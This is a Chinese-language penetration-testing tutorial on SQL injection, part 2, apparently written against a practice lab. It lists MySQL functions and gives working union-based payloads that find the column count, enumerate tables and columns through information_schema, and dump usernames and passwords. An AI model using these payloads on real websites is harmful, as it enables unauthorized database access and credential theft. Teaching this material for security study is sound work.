渗透测试之SQL注入(2)

前言

整型注入和字符型注入的区别

整形注入：

?id = 1 and 1 = 1     //页面无变化

?id = 1 and 1 = 2     //页面回显报错

字符型注入：

?id = 1’ and 1 =1 #     //页面无变化

?id = 1’ and 1 =2 #     //页面回显报错

此外常见的注释符还有：%23、-- (空格)、--+

常用内置函数（以mysql为例）

1. database() 函数
   作用：查看当前连接的数据库名称
   SQL语句：select database();

2. user() 函数
   作用：查看当前连接数据库的用户
   SQL语句：select user();

3. version() 函数
   作用：查看数据库的版本
   SQL语句：select version();

4. concat(str1,str2) 函数
   作用：连接两个字符串并传入数据库
   SQL语句：select concat(username,password) from user; 实现无间隔连接字符串username和password
   

   

5. concat_ws(separator,str1,str2) 函数
   作用：用分隔符连接两个字段的字符串
   SQL语句：select concat_ws('--',username,password) from user; 实现用分隔符"--"连接字符串username和password

   
   

6. group_concat(str1,str2) 函数
   作用：将多行查询结果以逗号分隔全部输出
   SQL语句：select group_concat(username,password) from user; 实现将每一行的字符串username和password连接起来，多行之间用逗号隔开，多行一起输出.

   
   

7. group_concat(concat_ws(seperator,str1,str2)) 函数
   作用：将多行查询结果以逗号分隔全部输出，每一行的结果可用设置的分隔符作字段的间隔,实现将每一行的字符串username和password用符号"--"连接起来，多行之间用逗号隔开，多行一起输出.

   
   
   

常见注入手法详细步骤

  (列举字符型注入)

  如下图所示访问一个正常的页面。

  在url后添加?id=1 如下图所示页面回显正常。

  判断是否存在注入：在id=1添加 ’ 回车后页面报错，说明可能存在sql注入。

  判断注入类型：如下图所示在url内输入?id = 1 and 1=1和?id=1 and 1 =2 页面均回显正常。

  继续判断,再次输入?id=1’ and 1=1 #后页面回显报错。

  更换注释符继续判断,如图所示?id=1’ and 1=1 --+回显正常,?id=1’ and 1=2 --+页面回显报错

  根据页面回显及注入语句判断该注入类型为字符型注入。

  根据order by或 group by判断列数：如图所示当列数为4时页面报错，为3时页面回显正常，因此判断为3列。

  判断显示位：?id=-1' union select 1,2,3 --+  如图所示回显位为2和3。

  查看敏感信息：

?id=-1' union select 1,@@datadir,3 --+        //返回当前数据路的存放路径

  ?id=-1' union select 1,@@version_compile_os,@@basedir --+      //返回操作系统版本和数据库安装路径

  ?id=-1' union select 1,database(),3 --+  //返回库名

  获得当前库内(security)所有的表名：?id=-1' union select 1 ,group_concat(table_name), 3 from information_schema.tables where table_schema=database()--+

  获取users表内的列名：?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

 查看用户名和密码：?id=-1' union select 1,group_concat(username,password),3 from users --+

戳这里，阅读原文